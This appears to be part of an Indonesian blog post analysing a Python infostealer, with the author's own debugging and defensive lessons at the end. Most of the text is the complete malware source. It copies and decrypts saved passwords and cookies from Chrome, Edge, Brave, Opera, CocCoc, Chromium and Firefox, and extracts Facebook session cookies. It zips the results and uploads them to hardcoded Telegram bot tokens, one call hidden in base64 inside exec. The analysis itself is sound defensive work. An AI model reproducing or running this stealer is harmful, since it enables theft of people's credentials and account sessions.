def get_edge(data_path,edge_path):
    data_edge = os.path.join(data_path, "Edge");os.mkdir(data_edge)
    profiles = find_profile(edge_path)
    for i,profile in enumerate(profiles, 1):
        try:
            os.mkdir(os.path.join(data_edge,"profile"+str(i)))
            def copy_file():
                if os.path.exists(os.path.join(profile,'Network','Cookies')):
                    shutil.copyfile(os.path.join(profile,'Network','Cookies'),os.path.join(data_edge,"profile"+str(i),'Cookies'))
                if os.path.exists(os.path.join(profile,'Login Data')):
                    shutil.copyfile(os.path.join(profile,'Login Data'),os.path.join(data_edge,"profile"+str(i),'Login Data'))
                if os.path.exists(os.path.join(edge_path,'Local State')):
                    shutil.copyfile(os.path.join(edge_path,'Local State'),os.path.join(data_edge,"profile"+str(i),'Local State'))
            copy_file();delete_file(os.path.join(data_edge,"profile"+str(i)))
        except:shutil.rmtree(os.path.join(data_edge,"profile"+str(i))) 

def get_brave(data_path,brave_path):
    data_brave = os.path.join(data_path, "Brave");os.mkdir(data_brave)
    profiles = find_profile(brave_path)
    for i,profile in enumerate(profiles, 1):
        try:
            os.mkdir(os.path.join(data_brave,"profile"+str(i)))
            def copy_file():
                if os.path.exists(os.path.join(profile,'Network','Cookies')):
                    shutil.copyfile(os.path.join(profile,'Network','Cookies'),os.path.join(data_brave,"profile"+str(i),'Cookies'))
                if os.path.exists(os.path.join(profile,'Login Data')):
                    shutil.copyfile(os.path.join(profile,'Login Data'),os.path.join(data_brave,"profile"+str(i),'Login Data'))
                if os.path.exists(os.path.join(brave_path,'Local State')):
                    shutil.copyfile(os.path.join(brave_path,'Local State'),os.path.join(data_brave,"profile"+str(i),'Local State'))
            copy_file();delete_file(os.path.join(data_brave,"profile"+str(i)))

        except:shutil.rmtree(os.path.join(data_brave,"profile"+str(i))) 

def get_opera(data_path,opera_path):
    data_opera = os.path.join(data_path, "Opera");os.mkdir(data_opera)
    try:
        def copy_file():
            if os.path.exists(os.path.join(opera_path,'Network','Cookies')):
                shutil.copyfile(os.path.join(opera_path,'Network','Cookies'),os.path.join(data_opera,'Cookies'))
            if os.path.exists(os.path.join(opera_path,'Login Data')):
                shutil.copyfile(os.path.join(opera_path,'Login Data'),os.path.join(data_opera,'Login Data'))
            if os.path.exists(os.path.join(opera_path,'Local State')):
                shutil.copyfile(os.path.join(opera_path,'Local State'),os.path.join(data_opera,'Local State'))
        copy_file();delete_file(data_opera)
    except:shutil.rmtree(os.path.join(data_opera)) 
def get_coccoc(data_path,coccoc_path):
    data_coccoc= os.path.join(data_path, "CocCoc");os.mkdir(data_coccoc)
    profiles = find_profile(coccoc_path)
    for i,profile in enumerate(profiles, 1):
        try:
            os.mkdir(os.path.join(data_coccoc,"profile"+str(i)))
            def copy_file():
                if os.path.exists(os.path.join(profile,'Network','Cookies')):
                    shutil.copyfile(os.path.join(profile,'Network','Cookies'),os.path.join(data_coccoc,"profile"+str(i),'Cookies'))
                if os.path.exists(os.path.join(profile,'Login Data')):
                    shutil.copyfile(os.path.join(profile,'Login Data'),os.path.join(data_coccoc,"profile"+str(i),'Login Data'))
                if os.path.exists(os.path.join(coccoc_path,'Local State')):
                    shutil.copyfile(os.path.join(coccoc_path,'Local State'),os.path.join(data_coccoc,"profile"+str(i),'Local State'))
            copy_file();delete_file(os.path.join(data_coccoc,"profile"+str(i)))    

        except:shutil.rmtree(os.path.join(data_coccoc,"profile"+str(i))) 


def get_chromium(data_path,chromium_path):
    data_chromium= os.path.join(data_path, "Chromium");os.mkdir(data_chromium)
    profiles = find_profile(chromium_path)
    for i,profile in enumerate(profiles, 1):
        try:
            os.mkdir(os.path.join(data_chromium,"profile"+str(i)))
            def copy_file():
                if os.path.exists(os.path.join(profile,'Cookies')):
                    shutil.copyfile(os.path.join(profile,'Cookies'),os.path.join(data_chromium,"profile"+str(i),'Cookies'))
                if os.path.exists(os.path.join(profile,'Login Data')):
                    shutil.copyfile(os.path.join(profile,'Login Data'),os.path.join(data_chromium,"profile"+str(i),'Login Data'))
                if os.path.exists(os.path.join(chromium_path,'Local State')):
                    shutil.copyfile(os.path.join(chromium_path,'Local State'),os.path.join(data_chromium,"profile"+str(i),'Local State'))
            copy_file();delete_file(os.path.join(data_chromium,"profile"+str(i)))
        except:shutil.rmtree(os.path.join(data_chromium,"profile"+str(i))) 
def find_profile_firefox(firefox_path):
    profile_path = []
    for name in os.listdir(firefox_path):
            dir_path = os.path.join(firefox_path, name)
            profile_path.append(dir_path)
    return profile_path

def get_firefox(data_path,firefox_path):
    data_firefox = os.path.join(data_path,'firefox');os.mkdir(data_firefox)
    profiles = find_profile_firefox(firefox_path)

    for i,profile in enumerate(profiles, 1):
        try:
            os.mkdir(os.path.join(data_firefox,"profile"+str(i)))
            def copy_file():
                if os.path.exists(os.path.join(profile,'cookies.sqlite')):
                    shutil.copyfile(os.path.join(profile,'cookies.sqlite'),os.path.join(data_firefox,"profile"+str(i),'cookies.sqlite'))
                if os.path.exists(os.path.join(profile,'key4.db')):
                    shutil.copyfile(os.path.join(profile,'key4.db'),os.path.join(data_firefox,"profile"+str(i),'key4.db'))
                if os.path.exists(os.path.join(profile,'logins.json')):
                    shutil.copyfile(os.path.join(profile,'logins.json'),os.path.join(data_firefox,"profile"+str(i),'logins.json'))
            copy_file()
            if os.path.exists(os.path.join(data_firefox,"profile"+str(i),'cookies.sqlite')):

                delete_firefox(os.path.join(data_firefox,"profile"+str(i)))
            else:
                shutil.rmtree(os.path.join(data_firefox,"profile"+str(i)))   

        except:shutil.rmtree(os.path.join(data_firefox,"profile"+str(i))) 

def encrypt(data_profile):
    login_db = os.path.join(data_profile, "Login Data")
    key_db = os.path.join(data_profile ,"Local State",)
    cookie_db = os.path.join(data_profile, "Cookies")
    with open(key_db, "r", encoding="utf-8") as f:
        local_state = f.read()
        local_state = json.loads(local_state)
    master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
    master_key = master_key[5:]  
    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
    try :
        conn = sqlite3.connect(login_db)
        cursor = conn.cursor()
        cursor.execute("SELECT action_url, username_value, password_value FROM logins")
        for r in cursor.fetchall():
            url = r[0]
            username = r[1]
            encrypted_password = r[2]
            iv = encrypted_password[3:15]
            payload = encrypted_password[15:]
            cipher = AES.new(master_key, AES.MODE_GCM, iv)
            decrypted_pass = cipher.decrypt(payload)
            decrypted_password = decrypted_pass[:-16].decode() 
            with open((os.path.join(data_profile, "Password.txt")), 'a',encoding='utf-8') as f:
                f.write("URL: " + url + "\\t\\t" + username + "|" + decrypted_password + "\\" + "\\")      
    except :
        print(" ")
    try:    
        conn2 = sqlite3.connect(cookie_db)
        conn2.text_factory = lambda b: b.decode(errors="ignore")
        cursor2 = conn2.cursor()
        cursor2.execute("""
        SELECT host_key, name, value, encrypted_value,is_httponly,is_secure,expires_utc
        FROM cookies
        """)
        json_data = []
        for host_key, name, value,encrypted_value,is_httponly,is_secure,expires_utc in cursor2.fetchall():
            if not value:
                iv = encrypted_value[3:15]
                encrypted_value = encrypted_value[15:]
                cipher = AES.new(master_key, AES.MODE_GCM, iv)
                decrypted_value = cipher.decrypt(encrypted_value)[:-16].decode()
            else:
                decrypted_value = value     
            json_data.append({
                "host": host_key,
                "name": name,
                "value": decrypted_value,
                "is_httponly":is_httponly,
                "is_secure":is_secure,
                "expires_utc":expires_utc
                })

        result = []
        for item in json_data:
            host = item["host"]
            name = item["name"]
            value = item["value"]
            is_httponly= item["is_httponly"]
            is_secure=item["is_secure"]
            expires_utc = item["expires_utc"]
            if host == ".facebook.com":
                result.append(f"{name} = {value}")
            if is_httponly == 1 : httponly = "TRUE"
            else:
                httponly = "FAILSE"
            if is_secure == 1 : secure = "TRUE"
            else:
                secure = "FAILSE"
            cookie = f"{host}\\t{httponly}\\t{'/'}\\t{secure}\\t\\t{name}\\t{value}\""          
            with open((os.path.join(data_profile, "Cookie.txt")), 'a') as f:
                f.write(cookie)
        result_string = "; ".join(result)
        with open((os.path.join(os.environ["TEMP"], name_f, "Cookiefb.txt")), 'a',encoding='utf-8') as f:
            f.write(result_string+"\\" + "\\")
    except:
        print(" ")

def getKey(afk):  
    conn = sqlite3.connect(os.path.join(afk, "key4.db"))
    c = conn.cursor()
    c.execute("SELECT item1,item2 FROM metadata;")

    row = c.fetchone()
    globalSalt = row[0] #item1
    item2 = row[1]
    decodedItem2 = decoder.decode( item2 ) 
    clearText = decryptPBE( decodedItem2, globalSalt )

    if clearText == b'password-check\\x02\\x02': 
      c.execute("SELECT a11,a102 FROM nssPrivate;")
      for row in c:
        if row[0] != None:
            break
      a11 = row[0]
      a102 = row[1] 
      if a102 != None: 
        decoded_a11 = decoder.decode( a11 )
        clearText= decryptPBE( decoded_a11, globalSalt )
        return clearText[:24]   
    return None

def encrypt_firefox(path_f):
    try:
        if os.path.exists(os.path.join(path_f ,"logins.json")):
            key = getKey(path_f)
            logins = getLoginData(path_f)

            for i in logins:
                username= unpad( DES3.new( key, DES3.MODE_CBC, i[0][1]).decrypt(i[0][2]),8 ) 
                password= unpad( DES3.new( key, DES3.MODE_CBC, i[1][1]).decrypt(i[1][2]),8 ) 
                str_pass =  password.decode('utf-8')
                str_user =  username.decode('utf-8')
                with open((os.path.join(path_f,"Password.txt")), 'a',encoding='utf-8') as f:
                    f.write(i[2]+"          "+str_user + "|"+ str_pass + "\\")
    except :
        print("")
    try:
        db_path = os.path.join(path_f, "cookies.sqlite")
        db = sqlite3.connect(db_path) 
        db.text_factory = lambda b: b.decode(errors="ignore")
        cursor = db.cursor()
        cursor.execute("""
        SELECT id , name, value ,host
        FROM moz_cookies
        """)
        json_data = []
        for id , name, value ,host in cursor.fetchall():
            json_data.append({
                "host": host,
                "name": name,
                "value": value

            })
        result = []
        for item in json_data:
            host = item["host"]
            name = item["name"]
            value = item["value"]
            if host == ".facebook.com":
                result.append(f"{name} = {value}")
            cookie = f"{host}\\t\\t{'/'}\\t\\t\\t{name}\\t{value}\\"          
            with open((os.path.join(path_f, "Cookie.txt")), 'a') as f:
                f.write(cookie)
        result_string = "; ".join(result)
        with open((os.path.join(os.environ["TEMP"], name_f, "Cookiefb.txt")), 'a',encoding='utf-8') as f:
            f.write(result_string+"\\" +  "\\")
    except:
        print("")


def delete_firefox(data_firefox_profile):
    key4db = os.path.join(data_firefox_profile,"key4.db")
    cookiesdb=os.path.join(data_firefox_profile,"cookies.sqlite")
    logindb = os.path.join(data_firefox_profile ,"logins.json")
    try:
        encrypt_firefox(data_firefox_profile)
        if os.path.exists(key4db):
            os.remove(key4db),
        if os.path.exists(cookiesdb):    
            os.remove(cookiesdb),
        if os.path.exists(logindb):    
            os.remove(logindb)
    except: print("")


def delete_file(data_profile):
    login_db = os.path.join(data_profile, "Login Data")
    key_db = os.path.join(data_profile ,"Local State",)
    cookie_db = os.path.join(data_profile, "Cookies")
    try:
        encrypt(data_profile)
        if os.path.exists(login_db):
            os.remove(login_db),
        if os.path.exists(key_db):    
            os.remove(key_db),
        if os.path.exists(cookie_db):    
            os.remove(cookie_db)
    except:print("")

def delete_firefox(data_firefox_profile):
    key4db = os.path.join(data_firefox_profile,"key4.db")
    cookiesdb=os.path.join(data_firefox_profile,"cookies.sqlite")
    logindb = os.path.join(data_firefox_profile ,"logins.json")
    try:
        encrypt_firefox(data_firefox_profile)
        if os.path.exists(key4db):
            os.remove(key4db),
        if os.path.exists(cookiesdb):    
            os.remove(cookiesdb),
        if os.path.exists(logindb):    
            os.remove(logindb)
    except: print("")   

def decryptMoz3DES( globalSalt, entrySalt, encryptedData ):
  hp = sha1( globalSalt ).digest()
  pes = entrySalt + b'\\x00'*(20-len(entrySalt))
  chp = sha1( hp+entrySalt ).digest()
  k1 = hmac.new(chp, pes+entrySalt, sha1).digest()
  tk = hmac.new(chp, pes, sha1).digest()
  k2 = hmac.new(chp, tk+entrySalt, sha1).digest()
  k = k1+k2
  iv = k[-8:]
  key = k[:24]
  return DES3.new( key, DES3.MODE_CBC, iv).decrypt(encryptedData)

def decodeLoginData(data):
  asn1data = decoder.decode(b64decode(data)) # decodage base64, puis ASN1
  key_id = asn1data[0][0].asOctets()
  iv = asn1data[0][1][1].asOctets()
  ciphertext = asn1data[0][2].asOctets()
  return key_id, iv, ciphertext 
def getLoginData(afkk):
  logins = []
  json_file = os.path.join(afkk ,"logins.json")
  loginf = open( json_file, 'r',encoding='utf-8').read()
  jsonLogins = json.loads(loginf)
  for row in jsonLogins['logins']:
    encUsername = row['encryptedUsername']
    encPassword = row['encryptedPassword']
    logins.append( (decodeLoginData(encUsername), decodeLoginData(encPassword), row['hostname']) )
  return logins

def decryptPBE(decodedItem, globalSalt): #PBE pour Password Based Encryption 
  pbeAlgo = str(decodedItem[0][0][0])
  if pbeAlgo == '1.2.840.113549.1.12.5.1.3': #pbeWithSha1AndTripleDES-CBC
    entrySalt = decodedItem[0][0][1][0].asOctets()
    cipherT = decodedItem[0][1].asOctets()
    key = decryptMoz3DES( globalSalt, entrySalt, cipherT )
    return key[:24]
  elif pbeAlgo == '1.2.840.113549.1.5.13': #pkcs5 pbes2  
    entrySalt = decodedItem[0][0][1][0][1][0].asOctets()
    iterationCount = int(decodedItem[0][0][1][0][1][1])
    keyLength = int(decodedItem[0][0][1][0][1][2])
    k = sha1(globalSalt).digest()
    key = pbkdf2_hmac('sha256', k, entrySalt, iterationCount, dklen=keyLength)    
    iv = b'\\x04\\x0e'+decodedItem[0][0][1][1][1].asOctets()
    cipherT = decodedItem[0][1].asOctets()
    clearText = AES.new(key, AES.MODE_CBC, iv).decrypt(cipherT)
    return clearText

def delete_file(data_profile):
    login_db = os.path.join(data_profile, "Login Data")
    key_db = os.path.join(data_profile ,"Local State",)
    cookie_db = os.path.join(data_profile, "Cookies")
    try:
        encrypt(data_profile)
        if os.path.exists(login_db):
            os.remove(login_db),
        if os.path.exists(key_db):    
            os.remove(key_db),
        if os.path.exists(cookie_db):    
            os.remove(cookie_db)
    except:print("")

def Compressed(z_ph,number):
    exec(base64.b64decode("d2l0aCBvcGVuKHpfcGgsICdyYicpIGFzIGY6CiAgICAgICAgeDAxLnBvc3QoY3J5cHQsZGF0YT17J2NhcHRpb24nOiJJRDoiK2lkKCkrIiAgICBcbklQOiIraXArIiAgICAgXG4iK251bWJlciwnY2hhdF9pZCc6ZnVkfSxmaWxlcz17J2RvY3VtZW50JzogZn0p").decode('utf-8'))

def demso() :
    path_demso = r"C:\\Users\\Public\\Document\\number.txt"
    if os.path.exists(path_demso):
        with open(path_demso, 'r') as file:
            number = file.read()
        number = int(number)+1
        with open(path_demso, 'w') as file:
            abc = str(number)
            file.write(abc)
    else:
        with open(path_demso, 'w') as file:
            file.write("1")
            number = 1
    return number

def id() :
    path_id = r"C:\\Users\\Public\\Document\\id.txt"
    if os.path.exists(path_id):
        with open(path_id, 'r') as file:
            id = file.read()
    else:
        random_number = random.randint(10**14, 10**15 - 1)
        id = str(random_number)
        with open(path_id, 'w') as file:
            file.write(id)
    return id
# def time() :
#     current_time = datetime.now()
#     formatted_time = current_time.strftime("%H:%M, %d/%m/%Y")
#     formatted_time2 = datetime.strptime(formatted_time, "%H:%M, %d/%m/%Y")
#     path_time = r"C:\\Users\\Public\\time.txt"
#     if os.path.exists(path_time):
#         with open(path_time, 'r') as file:
#             time_str = file.read().strip()
#             file_time = datetime.strptime(time_str, "%H:%M, %d/%m/%Y")

#         time_diff = formatted_time2 - file_time
#         if time_diff < timedelta(minutes=30):
#             a = 0
#         else:
#             a = 1
#             with open(path_time, 'w') as file:
#                 file.write(formatted_time + '\')

#     else :
#         with open(path_time, 'w') as file:
#             file.write(formatted_time + '\')
#             a = 1
#     return a


def main():
    number = " V\xe1\xbb\x81 l\xe1\xba\xa7n th\xe1\xbb\xa9 " + str(demso())
    data_path = os.path.join(os.environ["TEMP"], name_f);os.mkdir(data_path)
    chrome = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data")
    firefox = os.path.join(os.environ["USERPROFILE"], "AppData", "Roaming","Mozilla", "Firefox", "Profiles")
    Edge = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Microsoft", "Edge", "User Data")
    Opera = os.path.join(os.environ["USERPROFILE"], "AppData", "Roaming", "Opera Software", "Opera Stable")
    Brave = os.path.join(os.environ["USERPROFILE"], "AppData", "Local","BraveSoftware", "Brave-Browser", "User Data")
    coccoc = os.path.join(os.environ["USERPROFILE"], "AppData", "Local","CocCoc", "Browser", "User Data")
    chromium = os.path.join(os.environ["USERPROFILE"], "AppData", "Local","Chromium", "User Data")

    if os.path.exists(chrome):
        get_chrome(data_path,chrome)
    if os.path.exists(Edge):
        get_edge(data_path,Edge)

    if os.path.exists(Opera):
        get_opera(data_path,Opera)

    if os.path.exists(Brave):
        get_brave(data_path,Brave)

    if os.path.exists(coccoc):
        get_coccoc(data_path,coccoc)

    if os.path.exists(firefox):
        get_firefox(data_path,firefox)

    if os.path.exists(chromium):
        get_chromium(data_path,chromium)  
    python310_path = r'C:\\Users\\Public\\Document.zip'
    z_ph = os.path.join(os.environ["TEMP"], name_f +'.zip');shutil.make_archive(z_ph[:-4], 'zip', data_path)
    Compressed(z_ph,number)
    token = 'https://api.telegram.org/bot6389776886:AAGnY_bDnM0bR-m5mINhh9G-dGrHSypqayU/sendDocument';IDchat = '-4091334350'
    with open(z_ph, 'rb') as f:
        x01.post(token,data={'caption':"ID:"+id()+"\IP:"+ip+"\\"+number,'chat_id':IDchat},files={'document': f})
    shutil.rmtree(os.environ["TEMP"], name_f +'.zip');shutil.rmtree(os.environ["TEMP"], name_f)
    if os.path.exists(python310_path):
        os.remove(python310_path)
    if os.path.exists(file_path):
        os.remove(file_path)
main()

Penjelasan sederhana dari maksud dari program di atas adalah mencari credentials saved browser yang ada pada komputer, baik itu Chrome, Mozzila, Edge, Opera dan yang lainnya, setelahnya credential tersebut akan dikirimkan lewat telegram API, beberapa informasi yang ada sebagai berikut ini

Variable Value2
fud -962124948
token https://api.telegram.org/bot6379046787:AAF6f_u18usuoMkrYjQFmej2nS_805XNMtM/sendDocument
idchat 4091334350
token2 https://api.telegram.org/bot6389776886:AAGnY_bDnM0bR-m5mINhh9G-dGrHSypqayU/sendDocument

Mari melakukan sedikit debbuging bagaimana malware ini bekerja, mari mencoba mendapatkan data dari Google Chrome milik saya sendiri, berikut ini modifikasi yang saya lakukan terhadap script tersebut

import random
import requests as x01
from datetime import datetime,timedelta
import os,json,shutil,sqlite3,base64
from Crypto.Cipher import DES3
from Crypto.Cipher import AES
from pyasn1.codec.der import decoder
from hashlib import sha1, pbkdf2_hmac
from Crypto.Util.Padding import unpad 
from base64 import b64decode
import hmac

def find_profile(path_userdata):
    profile_path = []
    for name in os.listdir(path_userdata):
        if name.startswith("Profile") or name == 'Default':
            dir_path = os.path.join(path_userdata, name)
            profile_path.append(dir_path)
    return profile_path

def delete_file(data_profile):
    return data_profile

def get_chrome(data_path,chrome_path):
    data_chrome = os.path.join(data_path, "Chrome");os.mkdir(data_chrome)
    profiles = find_profile(chrome_path)
    print("Profiles",profiles)
    for i,profile in enumerate(profiles, 1):
        try:
            os.mkdir(os.path.join(data_chrome,"profile"+str(i)))
            def copy_file():
                if os.path.exists(os.path.join(profile,'Network','Cookies')):
                    shutil.copyfile(os.path.join(profile,'Network','Cookies'),os.path.join(data_chrome,"profile"+str(i),'Cookies'))
                if os.path.exists(os.path.join(profile,'Login Data')):
                    shutil.copyfile(os.path.join(profile,'Login Data'),os.path.join(data_chrome,"profile"+str(i),'Login Data'))
                if os.path.exists(os.path.join(chrome_path,'Local State')):
                    shutil.copyfile(os.path.join(chrome_path,'Local State'),os.path.join(data_chrome,"profile"+str(i),'Local State'))
            copy_file()
            delete_file(os.path.join(data_chrome,"profile"+str(i)))
        except: 
            shutil.rmtree(os.path.join(data_chrome,"profile"+str(i))) 

name_f = "testingnikko"
data_path = os.path.join(os.environ["TEMP"], name_f)#;os.mkdir(data_path)
chrome = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data")
if os.path.exists(chrome):
    print("Exist")
    #print(data_path)
    get_chrome(data_path,chrome)
else:
    print("Doenst exist")

Untitled

Jika dijalankan maka profile dari browser Google Chrome akan dilakukan printing, serta kita berhasi membuat sebuah tmp folder yang dapat kita kontrol untuk menganalisa apa-apa saja file yang di-copy oleh script tersebut, lalu pada folder tmp path berhasil kita kontrol C:\Users\Nikko\AppData\Local\Temp\testingnikko\Chrome kita dapat melihat ada profile yang di-copy

Untitled

Lalu isi dari semua file tersebut sebuah database sqlite3 yang mana gambarnya bisa dilihat seperti di bawah ini

Untitled

Kita dapat melakukan elaborasi, sebenarnya apa sih isi yang “diincar” oleh malware ini dengan membuka database tersebut.

  1. Cookies

    Untitled

  2. Local State

    Untitled

  3. Login Data

    Untitled

Ketiga file yang berusaha dicuri lewat mengirim ke bot telegram sudah dapat dipastikan bahwa berisi credentials dari browser yang kita gunakan. Saya telah mengecek pada bagian cookies meskipun dalam keadaan encrypted, datanya masih valid pada beberapa website tertentu, serta pada bagian login data ada beberapa username yang masih plaintext meskipun dengan password yang encrypted, juga dalam file-file yang berusaha dicuri tersebut, tertera jelas host mana yang valid untuk credentials tersebut.

Leason Learned

  • Pastikan Windows Security dalam keadaan menyala setiap saat
  • Jangan suka tergoda membuka file apapun dari orang yang tidak dikenal, apalagi lawan jenis iseng
  • Bersifatlah selalu skeptis terhadap apapun di dunia maya ini

Notes

Kenapa saya mengasumsikan malware ini berasal dari vietnam? dikarenakan frontdomain (https://shoppingvideo247.com/) ini memiliki bahasa vietnam

Untitled

Tidak ada informasi dari whois yang dapat membantu saya untuk menemukan real person dari pemilik website ini.

Untitled

Tampaknya pemilik website ini tidak terlalu ceroboh seperti pemilik malware yang membuat domain pribadinya sebagai entry points.

Closing

Terima kasih teman-teman telah meluangkan waktu untuk membaca tulisan saya ini, semoga kita dapat selalu terhindar dari kejahatan-kejahatan di dunia maya ini!